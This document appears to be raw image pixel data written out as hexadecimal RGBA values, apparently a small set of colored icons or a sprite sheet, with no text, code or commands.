FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0BFFFC0BFBFFFBFBFBFFFFFFFFFFFDCDCDCFFC2C2C1FFC2C2C1FFC2C2
C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C1FFC0C0C0FFFFFFFFFF6580A9FF1347DFFF2052DEFF2757
DEFF2756DEFF2656DEFF2656DEFF2656DEFF2656DEFF2656DEFF2656DEFF2756
DEFF2757DEFF1E51DDFF174BE2FF707D95FFB65F1CFFFD6A00FFF86900FFF76A
00FFF76A00FFF76A00FFF76A00FFF76A00FFF76A00FFF76A00FFF76A00FFF76A
00FFF76A00FFF86900FFFF6B00FF9E6A43FF4C893BFF53B831FF52B431FF53B4
32FF56B827FF2F83AEFF206BE7FF226CE1FF226CE1FF2368E0FF1BA5F0FF12F6
FFFF13EFFFFF13EEFFFF12F6FFFF4A969CFF336BB8FF1E85FFFF5FACFFFFFFFF
FFFFFCFFFFFFFCFFFFFFFCFFFFFFFCFFFFFFFFFFFFFFFCFFFFFFFCFFFFFFFCFF
FFFFFFFFFFFF449AFFFF2188FFFF51729DFFC6C8C4FFEDF5FFFF4A5EDAFF192E
D0FF2840D4FF2C42D4FF293FD4FF2339D2FF2339D2FF293FD4FF2C42D4FF283F
D4FF162CCFFF596DDEFFFAFFFFFFA5A8A5FFA44B1DFFD14501FFCF4702FFCF48
03FFCF4803FFCF4804FFCF4804FFCF4804FFCF4804FFCF4804FFCF4804FFCF48
03FFCF4803FFCF4702FFD24501FF965F41FF518134FF589E23FF589D25FF589D
26FF5CA11AFF3663A1FF264DDBFF2850D5FF2850D5FF284AD3FF238AE1FF1AE4
FEFF1ADDFCFF19DDFCFF17E3FFFF4A97A0FF3658B7FF215CF7FF618DF6FFFFFF
FFFFF7FFFFFFF7FFFFFFF7FFFFFFF7FFFEFFBFD3FBFFFBFFFFFFF7FFFFFFF7FF
FFFFFFFFFFFF4778F5FF235CFBFF53689CFF73A36FFFFFFFFFFFFFFFFFFFBCC0
F0FF2B2BD1FF1D1ECEFF393CD4FF878BE5FF8388E5FF3133D3FF1D1ECEFF3335
D3FFCBD0F5FFFFFFFFFFFFFFFFFF739271FF95381EFFBE2A00FFBA2800FFAE1C
00FFAF1D00FFAE1D00FFAE1D00FFAE1D00FFAE1D00FFAE1D00FFAF1D00FFAF1D
00FFB11F00FFBD2B00FFC02800FF8C5645FF56752BFF5D9016FF5E8F1AFF5E91
1AFF62960EFF3B519CFF2B35DAFF2D38D4FF2D38D4FF2D31D2FF2778DDFF1EE2
FEFF1ED9FCFF1DD9FCFF1ADDFFFF4D939DFF3645B2FF233FF4FF6377F3FFFFFF
FFFFFAFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFBDC9FAFFFFFFFFFFFEFFFFFFFAFF
FFFFFFFFFFFF495FF2FF2440F7FF545D99FF3D8E2EFF3AB921FFC0E8B9FFFFFF
FFFFFFFFFFFFA9A3ECFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA7A3EBFFFFFF
FFFFFFFFFFFFB1E2A8FF34B91BFF578550FF29299DFF0F0ED4FF292DD6FFD7DF
FAFFB5BDF2FFBBC2F3FFBFC6F4FFBCC4F4FFBBC2F3FFC0C7F4FFB7C0F3FFBEC6
F4FFB3BBF1FF0707CEFF1011D7FF4D4D8EFF596D25FF61850DFF628410FF6385
11FF678D06FF3D4098FF2E22D6FF3025D0FF3025D0FF301ECEFF2A6BDCFF21DE
FEFF21D4FCFF1FD4FCFF1CD9FFFF50909DFF3738B0FF2425F2FF6566F3FFFFFF
FFFFFFFFFFFFC2C2FAFF9494F6FFB9B8F8FF9A9AF6FF9897F6FFD4D4FBFFFFFF
FFFFFFFFFFFF4C4BF0FF2727F5FF555597FF458E35FF3EB824FF31B115FF5EC2
48FFEAF8E7FFFFFFFBFF97A1CCFFFFFFFFFFFDFFF8FF959ECFFFFFFFFFFFDFF3
DAFF53BE3AFF34B216FF3FBB24FF5B8553FF23249DFF0708D2FF0202CCFF4444
D9FFDBDBF9FFD1D2F6FFD5D5F7FFD9D9F7FFCCCDF6FFD6D7F7FFD5D5F7FFBCBC
F1FF0E0FD0FF0808CEFF0607D5FF48498DFF5B6B24FF648109FF647C0CFF6580
0DFF698801FF403996FF301AD7FF3217CFFF3218CFFF3216CFFF2B67DCFF22DD
FEFF22D4FCFF20D2FCFF1DD9FFFF508E9DFF3833AEFF241BF1FF665FF1FFFFFF
FFFFFFFFFEFF534BF0FF2017ECFF231AECFF251CECFF1E16ECFF665FF1FFFFFF
FEFFFFFFFFFF4C44EFFF261DF4FF555197FF468E35FF46BC2BFF43B829FF36B4
1BFF8CD279FFFFFFFEFF6B75BFFFFFFFFFFFFFFFF9FF6770BEFFFFFFFFFF73CA
60FF39B51EFF42B827FF40BC25FF5B8553FF24249CFF0C0CD3FF0D0DCEFF0000
C9FFEAEAFAFFE9E9FAFFE5E5F8FFD6D6F7FFD3D3F6FFE8E8FAFFE6E6F9FF9898
EAFF0000CCFF0C0CCFFF0909D4FF49498DFF5B6B24FF69850CFF65810DFF637D
0EFF698803FF3F3A96FF3014D5FF2A65E1FF2C5FE0FF3310CDFF2B67DCFF21DE
FEFF22D4FCFF20D4FCFF1DD9FFFF508F9DFF3833B0FF2B21F1FF6C65F2FFE4E2
FCFF2017ECFF2920EDFF2B23EDFF3028EEFF3028EEFF2B23EDFF261EECFF2A22
EDFFF8F8FDFF4F48EFFF261EF4FF555197FF468F37FF49BE2DFF4ABC2FFF3BB5
20FF88D175FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF6EC8
5BFF38B41DFF42B827FF40BC25FF5B8553FF25259CFF0E0ED4FF1010D0FF0E0E
CFFFC2C2F2FF7272E2FF5B5BDEFFE8E8F9FFC9C9F4FF2F2FD5FFBDBDF0FF6D6D
E2FF0505CDFF0C0CCFFF0909D4FF49498DFF5B6B25FF6B880EFF6B8711FF6B86
11FF698602FF3F3895FF2F1CD6FF24B7F4FF27A3F0FF3212CDFF2B67DCFF21DE
FEFF22D4FCFF20D4FCFF1DD9FFFF508F9DFF3A34B0FF2D24F2FF6C66F1FFFFFF
FFFF2016ECFF2018ECFF5E57F1FF2B23EDFF2B23EDFF5B54F1FF2118ECFF3D36
EEFFFFFFFFFF4C45EFFF261EF4FF555197FF4A9038FF49BF2EFF3CB71FFF77CD
64FFF7FCF3FFFFFFFFFFFFFFFFFF868EC9FFA1A9D2FFFFFFFFFFFFFFFFFFEEF9
E9FF61C44CFF30B113FF3FBA23FF5C8553FF25259DFF0F0FD5FF1112D3FF0D0D
D1FF5151DEFF0B0BD0FF0000CCFF9A9AEAFF3636D6FF0000CCFF4444D9FF0909
CDFF0C0CCEFF0A0BCEFF0909D3FF49498DFF5D6C25FF6E8A0FFF6F8A12FF708B
14FF749208FF48419AFF331BD6FF2F2AD2FF301ACFFF3114CEFF2966DCFF21DD
FEFF20D3FCFF1ED1FCFF1DD9FFFF508F9DFF3A35B0FF3129F2FF6F68F3FFFFFF
FEFFFFFFFEFFACA9F8FFAAA7F7FF251CECFF2119ECFFC7C5F9FFAAA7F7FFF5F4
FEFFFFFFFFFF4A44EFFF271EF4FF555197FF418E2FFF54C339FFD8F0D0FFFFFF
FFFFFFFFFFFF9C92E9FFFFFFFFFFECF6EBFFF8FFF0FFFFFFFFFF9B91E9FFFFFF
FFFFFFFFFFFFC9EAC1FF4FC332FF58844FFF2026A9FF0310E8FF0713E5FF0816
E5FF0411E4FF0916E5FF0813E5FF3442EDFF0510E3FF0815E4FF0310E3FF0715
E3FF0714E4FF0512E4FF030FEBFF474994FF5E6C26FF728E10FF728B13FF738D
16FF77940AFF4E469CFF3D28DCFF4029D6FF3E2AD5FF3C20D3FF356EDEFF2CE0
FEFF2DD7FCFF2CD8FCFF2CDDFFFF518F9DFF3A35B0FF342BF3FF706AF2FFFFFF
FFFFFFFFFFFFFFFFFFFF5F57F2FF342BEEFF2E26EEFF8078F4FFFFFFFFFFFFFF
FFFFFFFFFFFF5750F0FF382EF6FF565397FF83A578FFFFFFFFFFFFFFFFFFB3A9
EEFF361FD3FF341DD4FF4029D5FF8775E6FF8270E5FF3A23D4FF341DD4FF3C25
D6FFC0BAF1FFFFFFFFFFFFFFFFFF7A9175FF8A2520FFBA1000FFB71301FFB615
05FFB61606FFB61706FFB61706FFB31305FFB61706FFB61706FFB61706FFB616
05FFB71504FFB71302FFBA0F00FF814947FF5F6D25FF769010FF748F13FF758E
15FF789608FF51489DFF4029DDFF422CD7FF422CD7FF4324D5FF3B71E1FF31E2
FDFF31D9FCFF2FD9FCFF2DDEFFFF508F9DFF3B36B0FF372DF3FF726BF2FFFFFF
FFFFFFFFFFFFFFFFFFFFE5E5FCFFAEAAF7FFD1CEFAFFE1E0FCFFFFFFFFFFFFFF
FFFFFFFFFFFF5A52F1FF3930F7FF565397FFCAC9C3FFE6E2FEFF4F38DAFF3218
D4FF3F27D7FF4028D7FF3E26D7FF3921D5FF3A22D5FF3F27D7FF4028D7FF3E26
D7FF3015D4FF5B45DDFFF6F2FFFFA7A5A1FF812323FFAC0B0BFFAA0E0EFFAB10
10FFAB1111FFAB1111FFAB1111FFAB1111FFAB1111FFAB1111FFAB1111FFAB11
11FFAB1010FFAA0E0EFFAE0A0AFF7B4747FF5F6D23FF75910BFF758F0EFF7490
10FF7A9704FF4F479DFF3E25DDFF4028D7FF4028D7FF4021D5FF3970E1FF2EE2
FEFF2FD9FCFF2DD9FCFF2BE0FFFF508E9CFF3A35AFFF372CF4FF726BF5FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFEDEDFDFFFFFFFEFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFF5A51F2FF3A2EF7FF545196FF6E66ADFF4731DCFF5540DCFF5845
DCFF5944DCFF5946DCFF5945DCFF5945DCFF5945DCFF5945DCFF5946DCFF5844
DCFF5845DCFF533EDCFF4732DCFF7C78A2FF863030FFB73333FFB53131FFB433
33FFB43333FFB43333FFB43333FFB43333FFB43333FFB43333FFB43333FFB433
33FFB43333FFB53131FFB73232FF895555FF64732FFF8AA033FF879C31FF889E
33FF8BA328FF665EAEFF5843E2FF5946DDFF5946DDFF5A3FDBFF5388ECFF49E8
FFFF4AE0FFFF49DFFEFF4AE3FFFF5D9DACFF423EB5FF5148F7FF867DF8FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFF6D66F7FF5148F9FF605FA6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD4D4D4FFBCBDBCFFBCBDBDFFBDBD
BDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBD
BDFFBDBDBDFFBCBDBCFFBCBCBCFFDEDEDEFFDADADAFFBFBFBFFFC0BFBFFFC0C0
C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0
C0FFC0C0C0FFC0BFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFF529F6FFF51D987FF52D988FF53D9
88FF53D988FF53D988FF53D988FF53D988FF53D988FF53D988FF53D988FF53D9
88FF53D988FF52D987FF51D987FF649276FF3AB7BDFF33FFFFFF33FFFFFF34FE
FFFF35FEFFFF35FEFFFF35FEFFFF35FEFFFF35FEFFFF35FEFFFF35FEFFFF35FE
FFFF34FEFFFF32FFFFFF32FFFFFF56A0A4FF3580B4FF2AA2FFFF2BA0F9FF2CA0
F9FF2BA1F9FF2CA1F9FF2CA1F9FF2CA1F9FF2CA1F9FF2CA1F9FF2CA1F9FF2BA1
F9FF2CA0F9FF2AA0F9FF29A4FFFF537D9CFF56B61CFF61FD00FF60F900FF61F8
00FF61F800FF61F800FF61F800FF61F800FF61F800FF61F800FF61F800FF61F8
00FF61F800FF60F900FF63FF00FF649E43FF4E9B58FF4FC45EFF50C55FFF51C5
60FF51C561FF51C561FF51C561FF40CF96FF44CC8BFF51C561FF51C561FF51C5
61FF51C560FF50C55FFF4EC45EFF608E67FF39B3BCFF2DEEFDFF30EBF9FF32EB
F9FF33EBF9FF33EFFAFF32F4FCFF32F5FCFF32F5FCFF33F2FCFF33F0FEFF34F4
FFFF34F8FFFF33FCFFFF2AE7F1FF508E89FF3568AFFF2573E7FF2873E5FF2A72
E5FF2B74E5FF2B74E5FF2B74E5FF2B74E5FF2B74E5FF2B74E5FF2B74E5FF2B74
E5FF2A72E5FF2873E5FF2574E9FF52729BFF54A41DFF59D403FF5AD103FF5BD1
05FF5BD204FF5BD206FF5BD206FF5BD206FF5BD206FF5BD206FF5BD206FF5BD2
04FF5BD105FF5AD103FF59D503FF639642FF4C8C3FFF4BAF37FF4CB039FF4DB0
3AFF4EB13BFF48B450FF27CAC1FF17D3F7FF16D3F7FF2CC7B2FF4AB348FF4EB0
3BFF4DB03AFF4CB039FF4AAF37FF5E8458FF35ADB8FF28E9FBFF2BE7F8FF2DE7
F8FF2CEFFAFF30B8E9FF3486D8FF3671D7FF3871D9FF339AE1FF29BED0FF1D8C
83FF175F4BFF0E330FFF072600FF485645FF3152A9FF2153E3FF2352DFFF2554
DFFF2654DFFF2654DFFF2654DFFF2854DFFF2854DFFF2654DFFF2654DFFF2654
DFFF2553DFFF2352DFFF1F52E6FF516497FF50931FFF55BD06FF56BA08FF57BB
09FF57BB0AFF56BB0AFF56BB0AFF56BB0AFF56BB0AFF56BB0AFF56BB0AFF57BB
0AFF57BB09FF54BA08FF55BD06FF638B46FF48812BFF469E18FF499F1AFF4A9F
1DFF34B177FF1BBFE0FF54657CFF763743FF753B48FF4F728DFF19C3DEFF38AE
65FF4A9F1BFF489E1AFF469D17FF5C7C4CFF31ACB9FF23EFFFFF26F0FFFF27F9
FFFF27BDEBFF207AA0FF3042CCFF314CDDFF3048D1FF27208AFF120F1BFF0F11
0EFF091005FF030C03FF000500FF474847FF2D3DA8FF1933E4FF1B34E1FF1E37
E1FF1D37E2FF1D37E2FF1D37E2FF1D37E2FF1D37E2FF1D37E2FF1D37E2FF1D37
E2FF1C37E1FF1A35E2FF1832E6FF4E5895FF4D8623FF50AA09FF51A80BFF52A8
0DFF52A80DFF53A90EFF54A90AFF54A90CFF54A808FF53A90EFF53A80EFF52A8
0DFF52A80DFF52A80BFF51AC08FF618148FF487B23FF45960AFF3E9E31FF1CBB
C0FF0FC7F8FF565973FF7C2D3DFF782738FF772536FF7C2D3DFF4F7696FF0FC7
F8FF21B8B0FF419C25FF449609FF5B7846FF2F929EFF168C98FF12525AFF0E1E
15FF24077BFF171441FF272EAEFF241290FF140E56FF2538C6FF160A5CFF0703
21FF2A2A28FF656767FFA9AAABFF929393FF698320FF7BA400FF7BA300FF7CA4
00FF7CA400FF7CA400FF7CA400FF7CA400FF7CA400FF7CA400FF7CA400FF7CA4
00FF7BA400FF7AA300FF7CA700FF6F7D47FF4E8125FF4FA309FF4FA00DFF50A2
0DFF51A10EFF53A20CFF49AA3AFF53A10BFF46AE48FF53A20AFF53A310FF51A1
0EFF50A20DFF4FA00BFF4FA408FF607C49FF487B27FF2CAF7DFF0FC6F1FF0FC7
F8FF14C0F0FF78293AFF782738FF792839FF772636FF7C2F3DFF968584FF0FC7
F8FF0EC7F8FF10C3EAFF2DA969FF5B7947FF232020FF0A0000FF0A0303FF0504
00FF2110A7FF151B75FF000000FF1E1482FF626262FF5B5EB9FF6258BBFFBFBA
F1FFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FF657B24FF76A00CFF749B0DFF729B
0EFF759C10FF759C10FF759C10FF759C10FF759C10FF759C10FF759C10FF759C
0FFF749C0EFF739B0CFF749D09FF6D7A49FF508720FF57B000FF53AB00FF52AA
00FF54AC00FF55AB00FF53A804FF1CDBFFFF31C9B0FF57A600FF54AC00FF54AC
00FF53AB00FF52AB00FF52AF00FF628047FF497C25FF31B077FF13C8EFFF11C9
F8FF14C1F0FF8B4C55FF85424AFF945A60FFA38178FF9A716AFF6F394BFF0FC7
F8FF0EC7F8FF11C3E7FF2FA762FF5B7846FF202020FF000000FF151715FF4544
5EFF8079ADFF9E99C3FFC4C2E0FF8177C7FFC1BFE1FF968DD2FFFFFFFFFF6458
B1FFFFFFFFFFFFFFFFFFFFFFFFFFA59E9EFF657B25FF79A10EFF7AA011FF799F
10FF739A0EFF739B0EFF749B0FFF749B0FFF749B0FFF749B0FFF749B0FFF759B
0EFF739C0DFF729B0BFF749D08FF6D7A49FF3F38BEFF3A30FFFF3B31FFFF3A30
FFFF362CFFFF3526FFFF2A7DFFFF23CCFCFF26ABFFFF3247FFFF3629FFFF352B
FFFF342AFFFF3329FFFF3126FFFF5654A0FF4C7C23FF509E0FFF4AA531FF26BF
BCFF15CBF8FF6A8A98FF8F5859FF8B4451FF762435FF752233FF466E90FF0FC6
F7FF22B6A8FF429B21FF46960AFF5C7946FF919292FFFEFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFE1DFEDFF8E83D9FF4735C8FF6754D2FFB4A0D7FFFFFFFFFFFFFF
FFFFBCF5FCFF85EEF9FF4BEDFFFF4E939BFF607720FF729D00FF739B00FF749B
03FF749B05FF719902FF6D9600FF699400FF689200FF689200FF689200FF6892
00FF689300FF679100FF699500FF697747FF403FB1FF403EF5FF4240F1FF4341
F1FF4442F1FF413FEFFF3D2EEEFF306DF3FF3828EEFF3832EFFF3735F0FF3634
F0FF3533F0FF3432F0FF3432F7FF585899FF4D7C24FF53A010FF55A113FF56A2
16FF40B26BFF22C2DFFF5A6A87FF803749FF7B384BFF507391FF1FC3DAFF42AD
58FF53A014FF54A012FF53A00FFF5E7947FFBEBEBEFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF5C6DC2FF78ADDDFF70FBFFFF2CE4F8FF18E1
F6FF20E1F7FF23E3F6FF28EAFFFF50949BFFC2BFC9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A1A5FF403FB1FF4441F6FF4543F2FF4644
F2FF4745F2FF4745F2FF4745F2FF4840F0FF4744F1FF4442F1FF4341F1FF4341
F1FF4341F1FF4341F1FF4542F8FF585899FF4D7D23FF56A210FF58A313FF59A4
15FF59A417FF54A82AFF2FBFABFF18CEF8FF18CDF6FF34BC9AFF56A622FF59A4
16FF59A415FF58A313FF56A20FFF5E7A46FFC6BBB9FFFFFFFFFFD6F8FDFFA4F3
FCFF70ECF9FF3CE6F8FF1FE7F9FF2FB5E1FF2EDAF2FF2DE6F8FF31E5F7FF33E6
F7FF32E6F7FF30E4F8FF2EEBFFFF50949BFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF4140B1FF4643F6FF4745F2FF4846
F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947
F2FF4846F2FF4745F2FF4644F9FF585899FF4D7D23FF58A30EFF59A411FF5AA5
13FF5AA514FF5AA514FF5AA514FF47B155FF4CAE45FF5AA514FF5AA514FF5AA5
14FF5AA513FF59A411FF58A30DFF5E7A46FF40ABB6FF19E7FDFF1EE4F9FF24E5
F9FF2AE5F9FF2EE6F9FF31E6F9FF31EAFCFF31E7FAFF31E6F9FF31E6F9FF2FE6
F9FF30E6F9FF2EE6F9FF2DEDFFFF50939AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF4140B1FF4644F6FF4644F2FF4845
F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846
F2FF4745F2FF4643F2FF4644F9FF575797FF578236FF63A429FF63A52AFF64A5
2BFF64A52CFF64A62CFF64A62CFF64A62CFF64A62CFF64A62CFF64A62CFF64A5
2CFF64A52BFF63A52AFF61A427FF6C8759FF3AADBBFF4CEEFFFF4AEAFCFF4BEA
FCFF4AEAFCFF4AEAFCFF4AEAFCFF4AEAFCFF4AEAFCFF4AEAFCFF4AEAFCFF4BEA
FCFF4BEAFCFF4AEAFCFF4AEDFFFF5DA2AAFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFF4948B7FF615FF8FF5D5CF6FF5E5C
F6FF5E5DF6FF5E5DF6FF5E5DF6FF5E5DF6FF5E5DF6FF5E5DF6FF5E5DF6FF5E5D
F6FF5E5CF6FF5D5BF6FF605DFAFF6464A8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
